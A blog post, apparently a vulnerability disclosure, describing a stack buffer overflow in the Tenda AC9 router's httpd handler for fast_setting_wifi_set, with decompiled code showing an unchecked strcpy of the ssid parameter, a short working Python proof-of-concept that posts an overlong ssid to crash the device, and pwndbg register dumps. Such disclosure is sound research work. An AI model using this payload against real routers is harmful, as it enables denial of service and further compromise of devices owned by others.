

博客园

首页

新随笔

联系

订阅

管理

Tenda AC9 has bufferoverflow

🕒 2022-08-20 00:16 👤 Amalll 📄 169 💬 0 ✎ 编辑 📁 收藏🚩 举报

Tenda AC9 firmware V15.03.2.13 httpd server has stack buffer overflow in
form_fast_setting_wifi_set

```
sub_16A5C("updateUrlLog", updateUrlLog);
sub_16A5C("SysStatusHandle", fromSysStatusHandle);
sub_16A5C("GetWanStatus", formGetWanStatus);
sub_16A5C("GetSysInfo", formGetSysInfo);
sub_16A5C("GetWanStatistic", formGetWanStatistic);
sub_16A5C("GetAllWanInfo", formGetAllWanInfo);
sub_16A5C("GetWanNum", formGetWanNum);
sub_F990("aspGetWanNum", aspGetWanNum);
sub_16A5C("getPortStatus", formGetPortStatus);
sub_16A5C("GetSystemStatus", formGetSystemStatus);
sub_16A5C("GetRouterStatus", formGetRouterStatus);
sub_F990("aspGetCharset", aspGetCharset);
sub_16A5C("WizardHandle", fromWizardHandle);
sub_16A5C("fast_setting_get", form_fast_setting_get);
sub_16A5C("fast_setting_pppoe_get", form_fast_setting_pppoe_get);
sub_16A5C("fast_setting_wifi_set", form_fast_setting_wifi_set);
sub_16A5C("fast_setting_pppoe_set", form_fast_setting_pppoe_set);
sub_16A5C("getWanConnectStatus", formGetWanConnectStatus);
sub_16A5C("getProduct", GetProduct);
sub_16A5C("fast_setting_internet_set", form_fast_setting_internet_set);
sub_16A5C("usb_get", form_usb_get);
v0 = sub_16A5C("SysToolpassword", SysToolpassword);
sub_A6338(v0);
sub_16A5C("notNowUpgrade", formNotNowUpgrade);
sub_16A5C("AdvGetMacMtuWan", fromAdvGetMacMtuWan);
sub_16A5C("AdvSetMacMtuWan", fromAdvSetMacMtuWan);
sub_16A5C("AdvSetMTU", fromAdvSetMTU);
sub_16A5C("AdvGetMTU", fromAdvGetMTU);
sub_16A5C("AdvGetLanIp", fromAdvGetLanIp);
sub_16A5C("AdvSetLanip", fromAdvSetLanip);
sub_16A5C("SetWebIpAccess", SetWebIpAccess);
sub_16A5C("WanPolicy", fromWanPolicy);
```

When obtaining the request parameter ssid, no length judgment is performed, and the value of ssid is directly assigned to the local variables s and dest, resulting in a stack overflow vulnerability.

```

int __fastcall form_fast_setting_wifi_set(int a1)
{
    _BYTE *v1; // r0
    int v4[4]; // [sp+1Ch] [bp-160h] BYREF
    char nptr[4]; // [sp+2Ch] [bp-150h] BYREF
    char v6[4]; // [sp+30h] [bp-14Ch] BYREF
    char v7[4]; // [sp+34h] [bp-148h] BYREF
    char v8[4]; // [sp+38h] [bp-144h] BYREF
    char v9[72]; // [sp+3Ch] [bp-140h] BYREF
    char v10[64]; // [sp+84h] [bp-F8h] BYREF
    char dest[64]; // [sp+C4h] [bp-B8h] BYREF
    char s[64]; // [sp+104h] [bp-78h] BYREF
    char v13[12]; // [sp+144h] [bp-38h] BYREF
    int v14; // [sp+150h] [bp-2Ch] BYREF
    _BYTE *v15; // [sp+154h] [bp-28h]
    int v16; // [sp+158h] [bp-24h]
    char *s1; // [sp+15Ch] [bp-20h]
    _BYTE *Var; // [sp+160h] [bp-1Ch]
    char *src; // [sp+164h] [bp-18h]
    int v20; // [sp+168h] [bp-14h]
    int v21; // [sp+16Ch] [bp-10h]

    v14 = 0;
    memset(s, 0, sizeof(s));
    memset(dest, 0, sizeof(dest));
    memset(v10, 0, sizeof(v10));
    v21 = 1;
    memset(&v9[16], 0, 56);
    src = websGetVar(a1, "ssid", &unk_CA88C);
    strcpy(s, src);
    strcpy(dest, src);
    Var = websGetVar(a1, "wrlPassword", &unk_CA88C);

```

exp

```

import requests

url='http://192.168.2.1/goform/fast_setting_wifi_set'
pl='aaaabaaacaaadaaaeaaafaaagaaahaaaiaaaajaaakaaalaaamaaaanaaaooaaapaaaqaaaraaaasaaataaaauaaaavaaaawaaaxaaa'+ 'b'*4
d = {'ssid':pl}
requests.post(url, data=d)

```

Run the script and use dynamic debugging to check the memory situation, you can see that after the program executes the strcpy function, the value of the r1 register will be tampered with 0x62626262, which is 'bbbb', because of the stack overflow vulnerability, that is to say, as long as we assign more than 96 to the ssid parameter bytes can cause a

denial of service attack.

```
[ REGISTERS ]
R0 0xfffff23c ← 0x0
R1 0x106e00 ← 'aaaabaaacaaadaaaaaafaaagaahaaalaaajaaakaaalaaamaanaaaapaaaqaaaraaasaaataaaavaaaawaaaxaaabbbb'
R2 0xfffff23c ← 0x0
R3 0x106e00 ← 'aaaabaaacaaadaaaaaafaaagaahaaalaaajaaakaaalaaamaanaaaapaaaqaaaraaasaaataaaavaaaawaaaxaaabbbb'
R4 0xe43b8 → 0xe4270 ← 0x1
R5 0x103eb8 ← '/goform/fast_setting_wifi_set'
R6 0x1
R7 0xfffff7a6 ← './bin/httpd'
R8 0xe574 (_init) ← mov ip, sp
R9 0x2dcac ← push {r4, fp, lr}
R10 0xfffff608 ← 0x0
R11 0xfffff2b4 → 0x16a38 (websFormHandler+336) ← mov r3, #1
R12 0xe4720 (strcpy@got.plt) → 0xff5d0010 (strcpy) ← ldrb r2, [r0], #1
SP 0xfffff138 ← 0x0
PC 0x62adc (form_fast_setting_wifi_set+340) ← bl #0xf1a4

[ DISASM ]
► 0x62adc <form_fast_setting_wifi_set+340> bl #strcpy@plt <strcpy@plt>
dest: 0xfffff23c ← 0x0
src: 0x106e00 ← 'aaaabaaacaaadaaaaaafaaagaahaaalaaajaaakaaalaaamaanaaaapaaaqaaaraaasaaataaaavaaaawaaaxaaabbbb'

0x62ae0 <form_fast_setting_wifi_set+344> sub r2, fp, #0xb8
0x62ae4 <form_fast_setting_wifi_set+348> ldr r3, [fp, #-0x18]
0x62ae8 <form_fast_setting_wifi_set+352> mov r0, r2
0x62aec <form_fast_setting_wifi_set+356> mov r1, r3
0x62af0 <form_fast_setting_wifi_set+360> bl #strcpy@plt <strcpy@plt>

0x62af4 <form_fast_setting_wifi_set+364> ldr r0, [fp, #-0x168]
0x62af8 <form_fast_setting_wifi_set+368> ldr r3, [pc, #0x5b0]
0x62afc <form_fast_setting_wifi_set+372> add r3, r4, r3
0x62b00 <form_fast_setting_wifi_set+376> mov r1, r3
0x62b04 <form_fast_setting_wifi_set+380> ldr r3, [pc, #0x5a0]

[ STACK ]
00:0000 | sp 0xfffff138 ← 0x0
... ↓ 2 skipped
03:000c | 0xfffff144 → 0x106570 ← 'ssid=aaaabaaacaaadaaaaaafaaagaahaaalaaajaaakaaalaaamaanaaaapaaaqaaaraaasaaataaaavaaaawaaaxaaabbbb'
04:0010 | 0xfffff148 → 0xfffff2d0 ← 'fast_setting_wifi_set'
05:0014 | 0xfffff14c → 0x102ad0 → 0x102bd8 ← 'host'
06:0018 | 0xfffff150 ← 0x0
07:001c | 0xfffff154 ← 0x0

[ BACKTRACE ]
► f 0 0x62adc form_fast_setting_wifi_set+340

pwndbg>
```

```
[ REGISTERS ]
*R0 0xfffff1fc ← 0x0
*R1 0x62626262 ('bbbb')
*R2 0xfffff1fc ← 0x0
*R3 0xfffff1fc ← 0x0
R4 0xe43b8 → 0xe4270 ← 0x1
R5 0x103eb8 ← '/goform/fast_setting_wifi_set'
R6 0x1
R7 0xfffff7a6 ← './bin/httpd'
R8 0xe574 (_init) ← mov ip, sp
R9 0x2dcac ← push {r4, fp, lr}
R10 0xfffff608 ← 0x0
R11 0xfffff2b4 → 0x16a38 (websFormHandler+336) ← mov r3, #1
*R12 0xe47c8 (strcpy@got.plt) → 0xff5d0508 (strcpy) ← mov r3, r0
SP 0xfffff138 ← 0x0
*PC 0xff5d050c (strcpy+4) ← ldrb r2, [r1], #1

[ DISASM ]
0xff5d0508 <strcpy> mov r3, r0
► 0xff5d050c <strcpy+4> ldrb r2, [r1], #1
0xff5d0510 <strcpy+8> cmp r2, #0
0xff5d0514 <strcpy+12> strb r2, [r3], #1
0xff5d0518 <strcpy+16> bne #strcpy+4 <strcpy+4>
↓
0xff5d050c <strcpy+4> ldrb r2, [r1], #1
0xff5d0510 <strcpy+8> cmp r2, #0
0xff5d0514 <strcpy+12> strb r2, [r3], #1
0xff5d0518 <strcpy+16> bne #strcpy+4 <strcpy+4>
↓
```

```
0xff5d050c <strcpy+4>    ldrb    r2, [r1], #1
0xff5d0510 <strcpy+8>    cmp     r2, #0
[ STACK ]
00:0000| sp 0xffffef138 ← 0x0
... ↓ 2 skipped
03:000c| 0xffffef144 → 0x106570 ← 'ssid=aaaabaaacaaadaaaeaaafaagaaahaaaiaaaiaaakaaalaamaanaaaaoaaapaaaqaaa'
```

好文要顶

关注我

收藏该文







Amalll
粉丝 - 3 关注 - 1

0

0

+加关注

« 上一篇: 2022-ciscn-华东北赛区 pwn方向题目复现

[刷新评论](#) [刷新页面](#) [返回顶部](#)

登录后才能查看或发表评论, 立即 [登录](#) 或者 [逛逛](#) 博客园首页

【推荐】阿里云金秋云创季, 云服务器2核2G低至49.68元/年

编辑推荐:

- 一步一图带你深入理解 Linux 物理内存管理
- 快速构建页面结构的 3D Visualization
- 技术管理之如何协调加班问题
- 新零售 SaaS 架构: 多租户系统架构设计
- 用最少的代码模拟 gRPC 四种消息交换模式

阅读排行:

- Chrome 103支持使用本地字体, 纯前端导出PDF优化
- 重学c#系列——委托和匿名函数[二十五]
- 聊一聊如何截获 C# 程序产生的日志
- RabbitMQ个人实践
- 好好的系统, 为什么要分库分表?